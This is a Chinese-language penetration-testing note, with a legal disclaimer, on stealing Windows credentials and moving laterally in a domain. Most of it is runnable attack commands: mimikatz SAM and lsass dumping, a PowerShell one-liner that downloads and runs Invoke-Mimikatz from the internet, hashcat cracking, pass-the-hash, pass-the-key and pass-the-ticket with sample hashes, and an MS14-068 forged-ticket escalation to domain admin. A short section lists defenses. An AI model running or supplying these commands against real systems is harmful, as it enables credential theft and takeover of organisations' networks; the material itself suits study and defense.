Windows 密码抓取
郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。
Windows 密码抓取
1 mimikatz 抓取密码
注:在 Windows 系统中抓取 NTLM Hash 值或明文密码,必须将权限提升到 System;lsass.exe 进程用于实现 Windows 的安全策略。
-
利用通过 SAM 和 System 文件获得 NTLM Hash
gentilkiwi/mimikatz: A little tool to play with Windows security (github.com)
# 无工具导出 SAM 文件 reg save hklm\sam sam.hive reg save hklm\system system.hive # 使用 mimikatz 读取 SAM 和 System 文件 mimikatz# lsadump::sam /sam:sam.hive /system:system.hive # 使用 Nishang 的 Get-PassHashes 脚本导出 Hash 值 nishang-0.7.6\Gather> Import-Module .\Get-PassHashes.ps1 Get-PassHashes
-
使用 mimikatz 读取本地 SAM 文件
需要考虑 mimikatz 在目标机器上的免杀特性 # 提权 mimikatz# privilege::debug # 将权限提升至 System mimikatz# token::elevate # 读取本地 SAM 文件,获得 NTLM Hash mimikatz# lsadump::sam # 解密 HASH 值 mimikatz# sekurlsa::logonpasswords
-
使用 mimikatz 离线读取 lsass.dmp 文件
# 导出 lsass.dmp 文件 找到 lsass.exe 进程,右键选择:创建转储文件 # 利用 procdump 导出 lsass.dmp 文件 procdump.exe -accepteula -ma lsass.exe lsass.dmp
-
使用 mimikatz 读取 lsass.dmp 文件中的密码 HASH值
mimikatz# sekurlsa::minidump lsass.dmp mimikatz# sekurlsa::logonpasswords full
-
使用 powershell 远程加载 Mimikatz
# 远程加载 Mimikatz 抓取 Hash 密码 powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz # 本地加载 Mimikatz 抓取 Hash 密码 Import-Module .\Invoke-Mimikatz.ps1 Invoke-Mimikatz
1.1 HashCat 解密 hash 值
hashcat/hashcat: World's fastest and most advanced password recovery utility (github.com)
使用方法:
# 测试当前主机破解密码的基准速度
hashcat.exe -b
# 指定 hash 的类型
hashcat.exe -m
# 指定破解模式
hashcat.exe -a
0 | Straight //字典破解
1 | Combination //组合破解
3 | Brute-force //掩码暴力破解
6 | Hybrid Wordlist + Mask
7 | Hybrid Mask + Wordlist
9 | Association
# 常用命令
# 使用字典模式进行破解。
hashcat -a 0 -m xx <hashfile> <dict1> <dict2>
-a 0: 以字典模式破解
-m xx:指定 <hashfile> 内的 hash 类型
# 将 1 到 6 指定为数字进行破解
hashcat.exe -m 1000 -a 3 32ed87bdb5fdc5e9cba88547376818d4 ?d?d?d?d?d?d
1.2 防范 Windows 密码抓取
-
在WinSer12 中新增了
Protected Users
全局安全组,将需要保护的用户放入该组,便无法使用 Mimikatz 等工具抓取 Hash 值和明文密码。 -
安装 KB2871997: Microsoft KB2871997的学习
注:安装 KB2871997 后,普通用户无法使用常规的 Hash 值传递攻击,但 SID 500 (Administrator)账号依然中可以进行 Hash 传递攻击。
-
修改注册表禁止在内存中存储明文密码
关闭 Wdigest 功能(WinSer12 及以上版本默认关闭 Wdigest),防止用户密码在内存中以明文形式泄露。Wdigest 功能开启时,攻击者可以使用工具获取明文密码;反之,不能。
# 开启 Wdigest 功能 reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f # 关闭 Wdigest 功能 reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f # powershell 开启 Wdigest 功能 Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1 # powershell 关闭 Wdigest 功能 Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 0
-
将拥有 Debug 权限的本地管理员从 Administrators 组中删除:Mimikatz 在抓取 Hash 值或明文密码时,需要使用 Debug 权限。
secpol.msc -- 安全设置 -- 本地策略 -- 用户权限分配 -- 调试程序(debug programs):可以查看只有 Administrators 组中的用户具有 Debug 权限。
2 传递攻击
2.1 NTLM hash 传递攻击
利用条件:
- 被pth攻击的计算机未打补丁(KB2871997)
- 拿到一台域成员主机并且拿到管理员组的域用户的NTML
- 对方主机存在相同账号并且是管理员组成员
- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken:默认设置为0。如果设置为1,则SID为500的管理员也不能通过网络登录的方式获取高权限。
- 注:安装 KB2871997 后,普通用户无法使用常规的 Hash 值传递攻击,但 SID 500 (Administrator)账号依然中可以进行 Hash 传递攻击。
# 在目标主机中先获取 NTLM hash 值
mimikatz.exe "privilege::debug" "sekurlsa::msv"
# 提升权限
privilege::debug
# 获取 hash
sekurlsa::msv
# 在远程主机上进行 Hash 传递攻击
mimikatz.exe "privilege::debug" sekurlsa::pth /domian:要攻击的ip /user:目标主机上的用户名 /ntlm: NTLM哈希
mimikatz.exe "privilege::debug" "sekurlsa::pth /domain:test.lab /user:administrator /ntlm:570a9a65db8fba761c1008a51d4c95ab"
# 在弹出 cmd 窗口上,验证是否获取域控最高权限
# 查看域控制器的 C 盘,dc 为域控制器的主机名。
dir \\10.1.1.21\c$
dir \\dc\c$
2.2 AES-256 密钥传递攻击
利用条件:
- 目标主机上只有安装 KB2871997 ,才可以通过导入 AES-256 密钥的方式进行传递攻击。否则导入 AES-256 密钥后,会依然无法访问目标主机。
# 在目标主机中先获取 AES-256 值
mimikatz.exe "privilege::debug" "sekurlsa::ekeys"
# 获取 AES-256
sekurlsa::ekeys
# 在远程主机上进行 AES-256 密钥传递攻击
mimikatz.exe "privilege::debug" "sekurlsa::pth /domain:test.lab /user:administrator /aes256:5e5bd89efaefe26121d8c815391d9681e41cc0c1e1d009eeddb82273e6eca152"
# dir \\dc\c$
2.3 Ticket 传递攻击
2.3.1 利用 mimikatz 进行 Ticket 传递攻击
# 在目标主机上导出票据
# 导出内存中的 Tickets
.\mimikatz.exe "privilege::debug" "sekurlsa::tickets /export"
# 清除内存中的 Tickets
mimikatz# kerberos::purge
# 在远程主机上将票据文件注入到内存中
.\mimikatz.exe "kerberos::ptt .\`[0;3ae4f`]-2-0-40e10000-Administrator@krbtgt-TEST.LAB.kirbi"
2.3.2 利用 kekeo 进行 Ticket 传递攻击
gentilkiwi/kekeo: A little toolbox to play with Microsoft Kerberos in C (github.com)
kekeo使用域名,用户名,NTLM Hash 三者配合生成票据,再将票据导入,从而直接连接远程计算机。
# 生成票据
.\kekeo.exe "tgt::ask /domain:test.lab /user:Administrator /ntlm:570a9a65db8fba761c1008a51d4c95ab"
# 清除当前内存中的其他票据,否则可能会导致票据传递失败
#在 kekeo 中
kekeo # kerberos::purge
# 利用系统自带命令
klist.exe purge
# 导入票据
.\kekeo.exe "kerberos::ptt TGT_Administrator@TEST.LAB_krbtgt~test.lab@TEST.LAB.kirbi"
2.3.3 ms14-068.exe kerberos
MS14-068(CVE-2014-6324)域控提权利用及原理解析 - 紅人 - 博客园 (cnblogs.com)
利用条件:
- 域控没有打MS14-068的补丁(KB3011780)
- 拿下一台加入域的计算机,并拥有此计算机的域用户密码和Sid
# 获取 SID
# 如果当前用户为域用户
whoami /user
test\test02 S-1-5-21-3884001349-2725517725-626265054-1108
# 本地用户:管理员权限下用 mimikatz 抓取本地的域用户密码,域用户与SID
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
# 利用ms14-068.exe 工具生成伪造的kerberos协议认证证书
MS14-068.exe -u <userName>@<domainName> -p <clearPassword> -s <userSid> -d <domainControlerAddr>
MS14-068.exe -u test02@test.lab -p Admin123 -s S-1-5-21-3884001349-2725517725-626265054-1108 -d 10.1.1.21
# 利用mimikatz.exe将证书写入,从而提升为域管理员
mimikatz.exe "kerberos::ptc TGT_test02@test.lab.ccache"
# 写入成功后,使用PsExec.exe以管理员权限运行连接域控
PsExec64.exe \\dc cmd.exe
2.3.4 Ticket 传递攻击特点
- Ticket 文件注入内存的默认有效时间为 10 小时
- 使用 dir 命令时,务必使用主机名,如果使用 IP 会报错
- 目标主机上,不需要管理员权限也可进行 Ticket 传递攻击